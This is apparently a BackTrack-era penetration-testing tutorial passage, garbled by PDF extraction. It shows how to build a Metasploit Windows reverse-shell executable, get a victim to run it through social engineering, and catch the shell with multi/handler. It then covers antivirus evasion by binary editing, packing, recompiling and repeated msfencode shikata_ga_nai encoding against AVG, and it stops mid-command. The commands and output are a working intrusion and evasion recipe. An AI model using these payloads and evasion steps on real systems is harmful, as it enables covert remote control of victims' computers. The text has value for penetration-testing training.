It seems like Metasploit is full of interesting and useful features. One of these is the ability to
generate an executable from a Metasploit payload. This can be very useful in situations such as social engineering, if you can get a user to run your payload for you, there is no reason to go through the trouble of exploiting any software.
Let's look at a quick example of how to do this. We will generate a reverse shell payload, execute it on a remote system, and get our shell. To do this we will use the command line tool msfpayload. This command can be used for generating payloads to be used in many locations and offers a variety of output options, from perl to C to raw. We are interested in the executable output, which is provided by the X command.
We'll generate a Windows reverse shell executable that will connect back to us on port 31337. Notice that msfpayload operates the same way as msfcli in that you can append the letter 'O' to the end of the command string to see which options are available to you.
root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp O
Name: Windows Command Shell, Reverse TCP Inline Version: 6479 Platform: Windows Arch: x86 Needs Admin: No Total size: 287 Provided by: vlad902 [email protected] Basic options:
Name Current Setting Required Description ---- --- --- ---
EXITFUNC seh yes Exit technique: seh, thread, process LHOST yes The local address
LPORT 4444 yes The local port Description:
---<< Back|Track <<--- root@bt4:/pentest/exploits/framework3# ./msfpayload
windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 O Name: Windows Command Shell, Reverse TCP Inline
Version: 6479 Platform: Windows Arch: x86 Needs Admin: No Total size: 287 Provided by: vlad902 [email protected] Basic options:
Name Current Setting Required Description ---- --- --- ---
EXITFUNC seh yes Exit technique: seh, thread, process LHOST 172.16.104.130 yes The local address
LPORT 31337 yes The local port Description:
Connect back to attacker and spawn a command shell root@bt4:/pentest/exploits/framework3# ./msfpayload
windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 X > /tmp/1.exe Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell_reverse_tcp Length: 287
Options: LHOST=172.16.104.130,LPORT=31337
root@bt:/pentest/exploits/framework3# file /tmp/1.exe
/tmp/1.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit Ok, now we see we have a windows executable ready to go. Now, we will use 'multi/handler' which is a stub that handles exploits launched outside of the framework.
root@bt4:/pentest/exploits/framework3# ./msfconsole ## ### ## ## ## ## #### ###### #### ##### ##### ## #### ###### ####### ## ## ## ## ## ## ## ## ## ## ### ## ####### ###### ## ##### #### ## ## ## ## ## ## ## ## # ## ## ## ## ## ## ##### ## ## ## ## ## ## ## #### ### ##### ##### ## #### #### #### ### ##
=[ metasploit v3.3-rc1 [core:3.3 api:1.0] + -- --=[ 371 exploits - 234 payloads
+ -- --=[ 20 encoders - 7 nops =[ 149 aux
msf > use exploit/multi/handler msf exploit(handler) > show options Module options:
---<< Back|Track <<--- Name Current Setting Required Description
---- --- --- ---
Exploit target:
Id Name -- ---- 0 Wildcard Target
When using the 'exploit/multi/handler' module, we still need to tell it which payload to expect so we configure it to have the same settings as the executable we generated.
msf exploit(handler) > set payload windows/shell/reverse_tcp payload => windows/shell/reverse_tcp
msf exploit(handler) > show options Module options:
Name Current Setting Required Description ---- --- --- ---
Payload options (windows/shell/reverse_tcp):
Name Current Setting Required Description ---- --- --- ---
EXITFUNC thread yes Exit technique: seh, thread, process
LHOST yes The local address LPORT 4444 yes The local port
Exploit target: Id Name -- ----
0 Wildcard Target
msf exploit(handler) > set LHOST 172.16.104.130 LHOST => 172.16.104.130
msf exploit(handler) > set LPORT 31337 LPORT => 31337
msf exploit(handler) >
Now that we have everything set up and ready to go, we run 'exploit' for the multi/handler and execute our generated executable on the victim. The multi/handler handles the exploit for us and presents us our shell.
msf exploit(handler) > exploit
[*] Handler binding to LHOST 0.0.0.0 [*] Started reverse handler
---<< Back|Track <<--- [*] Sending stage (474 bytes)
[*] Command shell session 2 opened (172.16.104.130:31337 -> 172.16.104.128:1150)
Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\Jim\My Documents>
Antivirus Bypass
Basics (E)
Source: http://grey-corner.blogspot.com/2010/04/bypassing-av-detection-netcat.html
Introduction
The subject of bypassing AV detection is one that comes up quite frequently in discussions in pentesting circles, and I was most recently reminded of it once again when it came up on one of the mailing lists I subscribed to. In this particular case, the executable in question that people wanted to sneak by those evil AV scanners was the Windows version of netcat (nc.exe).
Since this was something I had looked at before, I contributed some of my own favorite methods to the list, but I thought it might also be a good idea to do a post about it here as well, giving a more detailed summary of the process, including my own methods and those mentioned by some others. The methods I am listing are specifically focused on Windows executable files, with nc.exe being used as the example, and may not be appropriate for other types of malicious code, such as macro viruses, although the theory (involving signature avoidance) is largely the same.
In addition, while it is possible to evade AV detection by encrypting a file (adding it to a TrueCrypt container, or a password protected zip file) I have not listed this method below. This is because this method results in a program that cannot be run in its current form - it will need to be removed from the encrypted container first before it is run. This can be effective in bypassing AV detection on content inspection gateways (virus scanning email servers for example), but a local virus scanner will usually pick the file up once it is extracted to disk before being run.
And of course I also have to give the standard warning here that I do before any post that may be put to inappropriate use.... don't be evil.
Now lets get into the detail.
Methods of Bypassing AV Detection
The methods for bypassing AV detection can be loosely grouped together as follows:
Binary Editing
Encoding
Packing
Source Modifcation
---<< Back|Track <<---
Use of Alternative programs
Virus "File Signatures"
What these methods all have in common is that they all work to try and modify the file signature of the target executable file in order to avoid detection. A quick explanation of what a signature is could be helpful here.
The most common method for virus detection is the use of a signature, which is a unique pattern of bytes contained within a malicious file. This signature is usually quite small (perhaps only a few dozen bytes), and if you can modify the file such that those bytes are not present in the file when the virus scanner scans it, then no virus will be detected. This could be as simple as the virus scanner expecting to see the characters "Now you are pwned!" at byte offset 200 in the file, and if you change the file to instead say "Now you are Pwned!" (changing the case of the 'p' in pwned), the signature will not be complete and no virus will be detected. Now it may not always be possible to just directly modify the file signature in such a simple manner and still have the target executable run as intended, but there are other ways in which this same goal can be achieved other than just
replacing text characters (more on this later).
Another important fact to understand about Virus Scanners related to the file signature issue is that the "scanning" of the file is usually done based on how it appears on disk. Consequently, detection can also be bypassed if the file appears one way when opened from disk, but modifies itself when loaded into memory.
Now, checking for this type of file signature is not the only technique used by virus scanning products to detect malicious code, however it is the most common, and in the majority of cases it is sufficient to modify the file signature in order to bypass detection. The methods of AV avoidance discussed in this post are primarily focused on the file signature method, but some might also be effective (with a little modification) against other detection methods. If you are interested in some of the other methods of virus detection, "The Art of Computer Virus Research and Defense" by Peter Szor is an excellent reference.
Finding File Signatures
Considering the focus so far on file signatures, it might be worthwhile to discuss how we actually go about finding what the signature of a file actually is.
The process of doing this is actually quite straightforward and involves removing different lengths of data from the end of the file and scanning each copy of the file with your AV program of choice to identify which copies of the file are detected as infected. By manipulating the size of data removed from the end of the file and gradually narrowing down the spot where detection of the file as virus infected stops, you will be able to find the location of the file signature. This general process was outlined in the Taking Back Netcat paper, and there is also a tool designed specifically for this purpose called DSplit, which you can see in this video here.
---<< Back|Track <<--- Binary Editing
This is one of the simplest ways in which to avoid antivirus detection, which basically just involves finding the signature of the file and directly changing its contents. It can be just as easy as my "Pwned" example above. If the signature is some text within the file, and changing the text won't affect the running of the executable - you can just directly change it within a Hex Editor. In some cases it will be a little more complicated, and you might need to be able to replace assembly instructions in the file with equivalent instructions.
This is essentially what was done in the Taking Back Netcat paper - nc.exe was opened in OllyDbg and some INT3 instructions from the file signature were replaced with NOPs. This changed the signature of nc.exe without breaking the application. This method won't always be effective - the signature may not always include easily changable text or assembly instructions, and in these cases you may need to rely on one of the other methods.
Encoding
This involves encoding the machine language instructions inside an executable, so that these instructions will be decoded in memory before they are run.
A video, with the charming title of "I Piss on Your AV" is located here, and it shows one method of achieving this encoding process.
Essentially, you modify the executable file to add a decoding stub at the end of the file, redirect the programs entry point to this decoding stub, and replace the existing content of the .text section of the PE file with an encoded version. Then, when the executable is run, the decoder runs first and transforms the content of the .text section of the PE file in memory, before passing control back to this now decoded executable code. If the file signature was contained within this .text section of the file, it will no longer appear in the file when it is stored on disk - and if the virus scanner only scans the file while it sits on disk then no virus will be detected.
If you want a more detailed version of the process you can do the (highly recommended) Cracking the Perimeter course from Offensive Security.
In the case of Metasploit executables, you can use the method described here to use msfencode for encoding.
Packing
Packing an executable is ostensibly done to reduce its file size, but it can also be quite effective at bypassing antivirus detection, as evidenced by the fact that it is a technique commonly used by malware in the wild. It has been such a common technique that "unpacking" of executables is a common skill amongst malware reverse engineers, and some malicious software detection tools will trigger on signs that a packer has been used.
Essentially packers work by compressing the contents of an executable file such that it's on disk size is reduced, with the file generally being decompressed in memory when it is run. Of course, just like with encoded executables, if the signature is part of the data that is compressed when the
---<< Back|Track <<--- executable is stored on disk, then any virus scanner that only scans files as they appear on disk will miss it.
There are many types of packers available, and if you are a malware researcher you can see the affect that a few of the most common packers have on a number of well known antivirus engines by using the PolyPack system. This system is not available to to members of the general public
however, so most people will have to do their own dirty work in testing out the various packers available. There is a list of packers at the PolyPack site, and some of them (such as UPX) are freely available for use.
Source Modification
Modification of the source code of an executable (assuming you have the source and the skill to modify it) can be effective in bypassing virus detection. Depending on what the signature is this could be as simple as changing the text of some message within the code, or it might be more complicated, requiring the use of different function calls or the reordering of code.
If you are writing the program yourself or have the patience to modify it extensively you can add your own encoding or encryption routines into the code itself, or use polymorphic code. The important consideration when doing this is that the file signature in the resulting binary file must change as a result of the modification of the source code and the recompilation and linking of the executable.
Recompiling
Sometimes simply recompiling a program with different compiler or linker options, or with a
different compiler, can change a files signature and allow you to avoid AV detection. In my testing of this last year, recompiling Netcat using Visual Studio 2008 bypassed detection by Symantec Antivirus (and also introduced some other minor issues, but that's besides the point).
Use of Alternate Programs
This one is actually a bit of a cheat - instead of changing your desired program to avoid AV detection, simply use another program with similar functionality.
For netcat, some of the following may be suitable:
Cryptcat NCat Cygwin Netcat SBD Socat Mocat Netcat2
---<< Back|Track <<---
Metasploit Stuff
As we have seen, the Metasploit binary payloads work great. However, there is a bit of a complication.
Most Windows based systems currently run some form of anti-virus protection due to the
widespread pervasiveness of malicious software targeting the platform. Let's make our example a little bit more real-world, and install the free version of AVG on the system and see what happens.
Right away, our payload gets detected. Let's see if there is anything we can do to prevent this from being discovered by AVG.
We will encode our produced executable in an attempt to make it harder to discover. We have used encoding before when exploiting software in avoiding bad characters so let's see if we can make use of it here. We will use the command line msfencode program. Lets look at some of the options by running msfencode with the '-h' switch.
root@bt4:/pentest/exploits/framework3# ./msfencode -h Usage: ./msfencode
OPTIONS:
-a The architecture to encode as
-b The list of characters to avoid: 'x00xff' -c The number of times to encode the data -e The encoder to use
-h Help banner
-i Encode the contents of the supplied file path -l List available encoders
-m Specifies an additional module search path -n Dump encoder information
-o The output file
---<< Back|Track <<--- -t The format to display the encoded buffer with (raw, ruby, perl, c, exe, vba)
Let's see which encoders are available to us by running 'msfencode -l'. root@bt4:/pentest/exploits/framework3# ./msfencode -l Framework Encoders
==================
Name Rank Description ---- ---- --- cmd/generic_sh normal Generic Shell Variable Substitution
Command Encoder
generic/none normal The "none" Encoder mipsbe/longxor normal XOR Encoder mipsle/longxor normal XOR Encoder php/base64 normal PHP Base64 encoder ppc/longxor normal PPC LongXOR Encoder ppc/longxor_tag normal PPC LongXOR Encoder sparc/longxor_tag normal SPARC DWORD XOR Encoder x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase
Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_utf8_tolower manual Avoid UTF8/tolower x86/call4_dword_xor normal Call+4 Dword XOR Encoder x86/countdown normal Single-byte XOR Countdown Encoder x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword
XOR Encoder
x86/jmp_call_additive great Polymorphic Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder x86/nonupper low Non-Upper Encoder x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback
Encoder
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
Excellent. We can see our options and some various encoders we can make use of. Let's use the raw output of msfpayload, and pipe that as input to msfencode using the "shikata ga nai encoder" (translates to "it can't be helped" or "nothing can be done about it"). From there, we'll output a windows binary.
root@bt4:/pentest/exploits/framework3# ./msfpayload
windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 R | ./msfencode -e x86/shikata_ga_nai -t exe > /tmp/2.exe
[*] x86/shikata_ga_nai succeeded with size 315 (iteration=1) root@bt:/pentest/exploits/framework3# file /tmp/2.exe
/tmp/2.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit Perfect! Let's now transfer the binary to another system and see what happens. And...
---<< Back|Track <<--- Well, that's not good. It is still being discovered by AVG. Well, we can't let AVG win, can we? Let's get a little crazy with it, and use three different encoders, two of which we will tell it to run through 10 times each, for a total of 21 encodes. This is about as much encoding as we can do and still have a working binary. AVG will never get past this!
root@bt4:/pentest/exploits/framework3# ./msfpayload
windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 R | ./msfencode